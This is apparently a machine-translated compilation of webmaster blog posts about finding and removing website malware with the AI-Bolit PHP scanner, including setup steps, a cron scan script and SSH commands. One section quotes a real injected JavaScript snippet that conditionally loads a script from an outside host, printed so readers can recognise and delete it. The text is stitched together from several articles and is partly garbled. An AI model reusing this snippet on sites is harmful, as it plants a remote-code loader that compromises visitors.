Ai bolit paranoid mode. How to work with the AI-BOLIT scanner from the command line

There is a problem situation - a site with viruses.

Now I will show how this virus can be easily found and destroyed. First of all, you need to download the site to the locale - it's much easier to check the array of files this way.

This text is from the description of the video, so it's a little chaotic and dull. However, the rest of my writings)

We will download filezilla. I will download immediately to the installed local server - Open Server - so that I can run it locally, if I need it.

If you have an antivirus installed that checks files on the fly, there is a chance that you will find viruses in some files while downloading. Look in the logs of my antivirus.

In my case, my Microsoft Security showed nothing - the virus turned out to be unknown to him.

To search, I will use a special antivirus - Aibolit. Developer site http://revisium.com/ai/
I advise you to go and watch the seminar. Files are still downloading, it will take a long time. I already have a ready-made local copy, I played with this antivirus yesterday.

So, for work, we still need php for windows. Download here http://windows.php.net/download/ latest version for windows in zip archive. Unpack somewhere convenient for you.

OK. The preparation is over. Now to work.

Download the archive with Aibolit.

There are three folders inside:

• ai-bolit - the very core of the antivirus itself
• known_files – versions of anti-virus database files for different engines
• tools is an auxiliary utility.

So, let's start cleaning the site from viruses

1. Copy all files from the ai-bolit folder to the root of the site
2. If we know what engine we have, we select the folder with our CMS in the known_files folder and upload all the files to the root. In my case, the WordPress engine, then we will treat viruses with anti-virus databases for WordPress. If you just want to check everything, you can upload anti-virus databases from all engines - maybe it will find something more)
3. I forgot again - you need to specify the expert mode of operation in the Aibolit settings. To do this, open the ai-bolit.php file with a text editor and find the line define('AI_EXPERT', 0); change "0" to "1" and that's it - expert mode is enabled.
4. Now - you need to unpack our zip archive c php into some folder where it would be convenient to work with it. We need a file - php.exe
5. Now we need to run the executable file of our antivirus. To do this, double-click on ai-bolit.php. I already have a choice of how to execute this script.

I would suggest keeping only the uploads folder and your theme folder. Plugins will be downloaded, the settings will remain in the database - they are not touched by viruses. Check the topic manually for all files - fortunately there are not many of them, if the site was not typeset by a clumsy layout designer. And refill everything else in the engine. this is the most reliable way.

And I also remind you that most likely you have viruses all over your hosting account (very rarely they manage to jump between accounts of different users, only if the hosting admin is a krivoruk.)

If for some reason Aibolit is deleted on the site, you can always download an antivirus for the site from me

Viruses are sad

PS: two articles on how to clean already found viruses:

• Simpler - How to remove a virus from a site for free
• For the advanced -

AI-Bolit - an effective scanner for viruses and other malicious code on hosting

We are often asked - what is the uniqueness of the AI-Bolit scanner? How is it different from other similar malware detection tools like maldet, clamav or even desktop antiviruses? The short answer is that it is better at detecting malicious code written in PHP and Perl. Why? Answer below.

Every day, malicious code (hacker web shells, backdoors, etc.) becomes more sophisticated and complex. In addition to obfuscation of identifiers and code encryption

implicit function calls began to be used everywhere through methods with callable arguments, handlers and indirect function calls.

There are fewer and fewer malicious scripts with a linear structure and fixed identifiers. They try to disguise the code and make it as volatile as possible, “polymorphic”

or vice versa, make it as simple as possible and look like a regular script.

Sometimes, when analyzing a malicious script, it is impossible to isolate a fixed fragment by which it would be possible to uniquely identify the “malware”. Obviously, such malicious code cannot be found using a simple signature database (antivirus database), which is used in the vast majority of web antiviruses and hosted scanners. To effectively search for modern “malware”, it is necessary to use more sophisticated methods for determining virus patterns, and in some cases, heuristics. This is the approach we use in the AI-BOLIT malware scanner.
The use of a large database of constantly improving flexible patterns based on regular expressions, the use of additional heuristic analysis, developed on the basis of scanning a large number of infected sites, made the AI-Bolit scanner the most effective and actively used tool for administrators and web developers.

AI-Bolit is also widely known for its simple interface and the possibility of free use for non-commercial purposes. Any webmaster can download AI-Bolit absolutely free from the official website http://revisium.com/ai/ and check his resource for hacker shells, backdoors, doorways, viruses, spam mailers, hidden links and other malicious fragments and inserts. The scanner is also actively used by commercial companies - web studios, hosting companies and Internet agencies to check and treat client sites. Hosters integrate AI-Bolit into the control panel, web developers use it to search for malicious code and in their own site monitoring services.

Below is just a small list of the features of the Ai-Bolit scanner:

• run from console and browser
• three scan modes ("simple", "expert", "paranoid") and two modes of operation ("express" and "full scan")
• search for hacker php and perl scripts (shells, backdoors), viral inserts, doorways, spam mailers, link selling scripts, cloaking scripts and other types of malicious scripts. Pattern and regular expression search, and use of heuristics to identify potentially malicious code
• searching for signatures in encrypted, fragmented text blocks and encoded hex/oct/dec sequences
• search for suspicious files with constructs used in malicious scripts
• search for hidden links in files
• looking for symbolic links
• search code for search and mobile redirects and much more.

By the way, Ai-Bolit received a copyright certificate from RosPatent. And the scanner is also actively covered on third-party sites, in specialized magazines, at conferences and webinars.

Official script page

AI-Bolit is an advanced free scanner for backdoors, hacker shells, viruses and doorways. The script is able to search for malicious and suspicious code in scripts, detects spam links, shows the CMS version and settings critical for server security.

The effectiveness of the scanner lies in the use of patterns and heuristics, rather than the usual hash search.

History of creation

At the moment, the market for anti-virus software for personal computers is extremely developed: solutions from Kaspersky, Dr.Web, McAfee, Norton, Avast and others are widely known. With virus and malicious code scanners for websites, things are not so rosy. System administrators and site owners, who are concerned about the problem of finding malicious code on their servers, are forced to use self-written scripts that look for viruses and shells using certain fragments collected earlier. I did the same. Collected shells, viruses, backdoors, redirect codes from client sites and gradually formed a database of malicious code signatures. And to make it convenient to use, I wrote a small script in PHP.

Gradually, the scanner acquired useful functionality, and finally it became obvious that it could be useful not only for me.
In April 2012, I announced the AI-Bolit script on several forums, and six months later it became the main tool for searching for malicious code from webmasters and hosting admins. As for the total statistics, in a year and a half the script was downloaded more than 64 thousand times. And the script received a copyright certificate in Rospatent.

Scanner features

The main difference between AI-Bolit and currently existing virus and malicious code scanners on the server is the use of patterns as virus signatures. The search for malicious code is based on regular expressions, not hashes or checksums, which makes it possible to detect even modified and obfuscated shells inserted into CMS templates or scripts.

The scanner can work in quick scan mode (only for PHP-, HTML, JS-, htaccess-files), in "expert" mode, exclude directories and files by mask. It also has a large base of CRC whitelists of popular CMS, which significantly reduces the number of false positives.

Currently, the scanner database contains more than 700 signatures of malicious scripts. The signatures are regular expressions, which allows you to find, for example, such obfuscated shells and backdoors that neither LMD with ClamAV, nor even desktop antiviruses can find:

The signature database is regularly updated with new samples found by both Revizium specialists and script users, which allows you to keep the scanner up to date.

AI-Bolit Interface

The interface of AI-Bolit is very simple. This is a PHP script that can be run in command line mode via the PHP CLI or opened in a browser with the URL http://website/ai-bolit.php?p=password.

The result of the script is a report consisting of four sections:

1. Statistics and general information about the script.
2. Red critical notes section with a list of found shells, viruses and other malicious code (or fragments similar to malicious code).
3. Orange warning section (suspicious code snippets that are often used in hacking tools).
4. Blue section of recommendations (list of directories open for writing, PHP settings, etc.).

The user analyzes the received report by viewing snippets, finds and removes malicious scripts and code fragments manually using command-line tools or programs for finding and replacing strings in files.

The main problem that a virus scanner developer usually faces is finding a middle ground between the "paranoia" (sensitivity) of the scanner and the number of false positives. If only fixed strings are used to search for malicious code, then the scanner's efficiency becomes low, since obfuscated fragments, code with spaces and tabs, and cleverly formatted code will not be found. If you search by flexible patterns, then there is a high probability of false positives when guaranteed safe scripts are marked as malicious.

In AI-Bolit, I solve this problem by using two modes of operation ("normal" / "expert") and white-lists for well-known CMS.

The future of AI-Bolit

The plans for the development of the script include a large number of useful features and integration with other anti-virus solutions. One of the key points is AI-Bolit integration with ClamAV and LMD bases. So AI-BOLIT will be able to search for rootkits and shells also by checksums.

The second important thing in the queue for implementation is a convenient interface for analyzing tabular reports with search and flexible filters. It will be possible to filter found files by extensions, sort by size, checksums, and so on.

The third point is the implementation of asynchronous scanning using AJAX, which will solve the problem of checking sites hosted on weak hosting, which have limited CPU consumption or script running time. At the moment, this can only be solved by scanning a copy of the site locally or on another, more powerful server. And of course, constant updates of the malware signature databases.

Finally

The script code is open, hosted on GitHub, so anyone can contribute to the development of this project. Send your suggestions and wishes to me at [email protected].

Probably everyone who creates sites is faced with viruses and trojans on the site. The first problem is to notice the problem in time, until the moment when projects catch pessimism from search engines or burdens on the hoster (ddos, spam).

This article is being written in hot pursuit, when during a normal backup to a machine under Windows of the source code of the site, ESET Smart Security suddenly began to swear at pictures that it considered a virus. It turned out that with the help of pictures, the FilesMan backdoor was flooded to the site.

The hole was that the script that allowed users to upload pictures to the site checked that the picture was loaded only by file extension. The content has not been checked at all. You don't need to do this;) As a result, any php file could be uploaded to the site under the guise of an image. But it's not about holes...

The point is that there was a task of daily checking all site files for viruses and trojans.

Checking a site for viruses online

Online all sorts of site checks for viruses are not suitable for these purposes from the word at all. Online crawlers behave like a search engine robot, sequentially going through all the available pages of the site. The transition to the next page of the site occurs through links from other pages of the site. Resp. if an attacker uploaded a backdoor to your site using a picture and there is no link to this picture anywhere on the site’s pages and did not deface the site, just like hanging a virus on the pages, then an online check of the site for viruses simply will not find this picture and will not find a virus.

Why, you ask, would an attacker do this? Why upload a backdoor and do nothing? I will answer - for spam, for ddos. For other malicious activity that does not affect the pages of the site in any way.

In a word, online checking a site for viruses is completely useless for complete peace of mind.

Plugin to check WordPress site for viruses and trojans

There is an excellent antivirus plugin for WordPress. It's called. In my case, it perfectly found images from FilesMan and cleaned the site from viruses. But it has an important drawback. During the check, it gives a wild load on the server, because it simply sorts through all the files sequentially. In addition, the check out of the box is done only manually. It is not possible to automate site verification with a plugin.

Well, you can catch a virus bypassing WordPress, you need something universal.

Checking the content of the site with a regular antivirus

As mentioned above, the problems were discovered quite by accident by a regular desktop antivirus during a backup. Of course, you can download the entire site every day and check it with a regular antivirus. All this is quite workable.

• First, I want automation. So that the check was in automatic mode and based on the results there was a ready report.
• secondly, there are such sites that it is simply not realistic to download them every day,

Trying AI-Bolit

Something with the introduction I tightened. As a result of all the searches, a wonderful FREE antivirus for the site was found. . This antivirus implies different schemes for its use. I used it via ssh.

Whether it is possible to use it on shared hosting - I did not understand, but I think it is possible. AI-Bolit is written in php and can be run from a browser. Therefore, purely technically, it is probably possible on a shared platform.

Important! Aibolit does not cure the site of viruses - it ONLY FINDS them and reports which files it considers dangerous. And you decide what to do with them. Therefore, simply stupidly clicking on the button and curing the site from Trojans will not work.

How to use AI-Bolit on VDS with ssh

Aibolit has instructions and master classes on how to use this antivirus. In general, the sequence is simple:

• download
• unpack to the server (I unpacked to /root/ai)
• then from the ssh console run php /root/ai/ai-bolit/ai-bolit.php
• verification can take hours, depending on the size of the site
• based on the results of the check, a report file AI-BOLIT-REPORT- will be generated<дата>-<время>.html

Problematic files will be visible in the report file, if any.

High load on the server

The main problem that you encounter when automatically checking a site for viruses is the load on the server. All antiviruses act in the same way, sequentially sorting through all available files. And aibolit seems to be no exception here. It simply takes all the files and checks them one by one. The load jumps and it can take a long time, which is not acceptable in production.

But the aibolit has a crazy opportunity (provided that you have a full-fledged server or vds with root access). First, for an aibolit, you can create a list of files to check, and then feed this list. Then the aibolit will simply go over this list.

To form the list, you can use any server methods. I got this bash script:

# bash /root/ai/run.sh # https://revisium.com/kb/ai-bolit-console-faq.html DOMAIN="website" AI_PATH="/root/ai" NOW=$(date +" %F-%k-%M-%S") # you can make a public folder under password access REPORT_PATH="$AI_PATH/reports/$DOMAIN-$NOW.html" SCAN_PATH="/home/azzrael/web/$DOMAIN/ public_html/" SCAN_DAYS=90 #php /home/admin/ai/ai-bolit/ai-bolit.php --mode=1 --path=$SCAN_PATH --report=$REPORT_PATH # Scan only files modified in X days # AI-BOLIT-DOUBLECHECK.php hardcoded by aibolit's author to --with-2check !!! find $SCAN_PATH -type f -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -name "*.ph*" -ctime -$SCAN_DAYS > " $AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" #find $SCAN_PATH -type f -name "*.ph*" -o -name "*.gif" -ctime -$SCAN_DAYS > "$AI_PATH/ai-bolit/AI-BOLIT-DOUBLECHECK.php" php "$AI_PATH/ai-bolit/ai -bolit.php" --mode=1 --report=$REPORT_PATH --with-2check #history -c

# bash /root/ai/run.sh # https://revisium.com/kb/ai-bolit-console-faq.html DOMAIN="site" AI_PATH = "/root/ai" NOW = $(date + "%F-%k-%M-%S" ) # you can make a public folder under password access REPORT_PATH= "$AI_PATH/reports/$DOMAIN-$NOW.html" SCAN_PATH= "/home/azzrael/web/$DOMAIN/public_html/" SCAN_DAYS = 90 #php /home/admin/ai/ai-bolit/ai-bolit.php --mode=1 --path=$SCAN_PATH --report=$REPORT_PATH php "$AI_PATH/ai-bolit/ai-bolit.php"-- mode = 1 -- report = $REPORT_PATH -- with - 2check #history -c

Here you can see that through the find command we collect all the files created in the last SCAN_DAYS, save them to the AI-BOLIT-DOUBLECHECK.php list (unfortunately, it was impossible to rename the list file at the time of use), then we feed this list to the aibolite. SCAN_DAYS can be equal to one day. If you put bash /root/ai/run.sh in the daily cron, then the list of files to check may not be very large. Resp. verification will not take much time and will not heavily load the server.

Today I was asked for help in cleaning the online store from viruses. Unexpectedly, one of the employees received a refusal to advertise Google Adwords. The letter indicated that the file jquery.js suspicious code is registered.

First of all, I opened the path to this file using the browser, but Avast antivirus did not react to this file in any way, although I already visually saw the malicious code. I then connected via ftp using FileZilla and tried to open the file with Notepad++ . And here my antivirus blocked access to this file.

To clean the js file from the virus, I had to disable AVAST for 10 minutes, and then delete the malicious lines from the file.

If you encounter a similar problem, remove the following code as shown in the picture, or these lines.

Varr=document.referrer; var c=document.cookie; r1=0; if ((r.indexOf("yandex")>0) || (r.indexOf("google")>0) || (r.indexOf("rambler")>0) || (r.indexOf(" mail")>0)) ( document.cookie = "__ga1=1; expires=Wed, 1 Mar 2020 00:00:00; path=/;"; r1=1; ) else (if (c.indexOf(" __ga1")==-1)(document.cookie = "__ga2=1; expires=Wed, Mar 1 2020 00:00:00; path=/;";)) if (((c.indexOf("__ga1" )>-1) || (r1==1)) && (c.indexOf("__ga2")==-1)) (document.write(unescape("%3Cscript src="http://google-analyzing .com/urchin.js" type="text/javascript"%3E%3C/script%3E");)

Site backup.

Next, we connect via ssh access, for example, using the putty utility and, if possible, make an archive of the site. To do this, just use the following command in the console:

tar - cf backup .tar /home/login/site/public_html

*/home/login/site/public_html - full path to the site main directory

You don’t have to backup the site, but you never know if you delete something important?

Now there are two options for checking the site for viruses

1. Checking the site using the php script Ai-Bolit, which looks for various viruses as well as php shell.

2. Download the entire site to your computer and run Avast antivirus, but the first option is much better, more convenient, and much better.

Site cleanup on local computer

At first I used the second method, so I will describe it. After all the files (or an archive) were downloaded to the computer, and there were a little more than 25,000 of them, I opened Avast and indicated the folder with the site files to check them for malicious scripts.

After Avast performed a scan, two script viruses were found in the website's files folder:

• php-shell-jv
• js-redirector-fc

The index.php file consisted of the following code:

The javascript file "ui.datepicker_old.js" had malicious code at the very bottom of the script content. This code must be removed!

Cleaning the site from viruses using Ai-Bolit.

ftp way.

1. Download the archive with the Aibolit script to the local computer and unpack it.

2. Connect via ftp using the FileZilla client

3. Unpacked archive files are placed in the main directory of the site /home/your site/public_html

4. Run the script http://your domain/ai-bolit.php

5. The report file will be created in the main directory with the name AI-BOLIT-REPORT.html

If a blank white screen is displayed after running the script, then the php version on the hosting server is not suitable for Aibolit.

Attention! If you need to check all sites in the directory, upload the script to the /home/domains/ or /home/ folder, then Ai-Bolit will recursively go through all the folders and issue a report, but I think it's better to check for one domain.

Console option (SSH)

1. Run the Putty program, or another console program.

2. We connect to the server by host and password.

3. Go to the main directory of the site with the command cd /home/your login/your site/public_html/

4. Load the script with the command wget http://www..zip

5. Unpack the zip archive with the command unzip 20160904_112415ai-bolit.zip

6. Run the script php ai-bolit.php

To run in the background, use the command: screen -d -m php ai-bolit.php

7. We are waiting for the script to perform the check, and create a report like " AI-BOLIT-REPORT.html" on server.

Also pay attention, if php is installed on your server below 5.3, Aibolit will show an error and will not start scanning. In my case, I had to download the site and check it on my server.

After the report file is created on the server, you can download it to your computer and view it with a regular browser (Chrome, Firefox, etc.).

First of all, you should pay attention to the report on "Malious scripts", and then either carefully delete these files, or clean them manually, as I do.